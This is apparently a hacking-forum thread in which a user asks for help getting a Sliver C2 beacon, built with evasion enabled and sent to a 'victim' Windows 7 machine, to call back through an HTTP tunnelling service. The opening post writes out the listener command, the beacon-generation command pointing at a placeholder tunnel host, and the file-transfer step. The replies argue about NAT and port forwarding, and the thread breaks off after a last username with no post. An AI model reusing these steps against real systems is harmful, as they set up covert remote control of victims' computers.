

Forum: [Hack Forums](#)

Thread: [HTTP Tunneling on Sliver](#)

AnonUserBB - March 6, 2025, 9:53 am

Anyone knows how to configure a http tunneling for and exploit on Sliver?

Im using and open source http tunneling services and I know its working well because I configure apache2 with the tunneling services and I can acces to the site perfectly and see the apache2 website

When I configure Sliver this is the configuration that I use:

Start Listener: `http --lhost 127.0.0.1 --lport 8080` (In this case I use port 8080 its the port that is connected to the tunneling service)

Create de Payload: `generate beacon --http http://tunnelingserviceexample.net --save /home/parrot --seconds 60 --os windows --evasion`

I use a `python3 -m http.server 333` (port example) `--bind 192.168.1.44` (ip example) to transfer the file to the victim machine, in this case a windows 7 machine

I execute the .exe payload and I don't have connection, then I put off the firewall on windows 7 and still have no connection.

Someone knows how to solve the problem?

DramaKing - March 6, 2025, 1:35 pm

Need to have a sticky thread that says "Check first before posting your connection issues." Namely, check that the port on the reverse proxy is open. I'm not calling it 'http tunneling' because that isn't a thing.

Oh, and because HTTP tunneling isn't a real thing, NAT will block the connection without forwarding a port. Also, a service listening on localhost will not receive remote connections. I think that you're trying to be fancy but without the know-how to make it work.

AnonUserBB - March 7, 2025, 8:47 am

I'm a student and I'm learning, so I'd appreciate a constructive response rather than condescension.

HTTP tunnelling exists, although you may not be applying it correctly in this context. That's precisely why I published this post, to understand what I'm doing wrong.

Source and Explanation of HTTP Tunneling : https://en.wikipedia.org/wiki/HTTP_tunnel

What's the point of asking if the port is open and working? Haven't you read that the apache2 server is visible on the bridge, don't you think that already verifies that this bridge is working?

`http://localhost:8080 = httptunnelwebsite.net` (httptunnelwebsite.net is not working on local network, its working outside the local network making a tunnel from localhost to httptunnelwebsite.net)

I think you're trying to correct something that I've clearly already explained, like the connection to the outside, but you're doing it without my elegance.

ginxforce - *May 4, 2025, 8:00 pm*
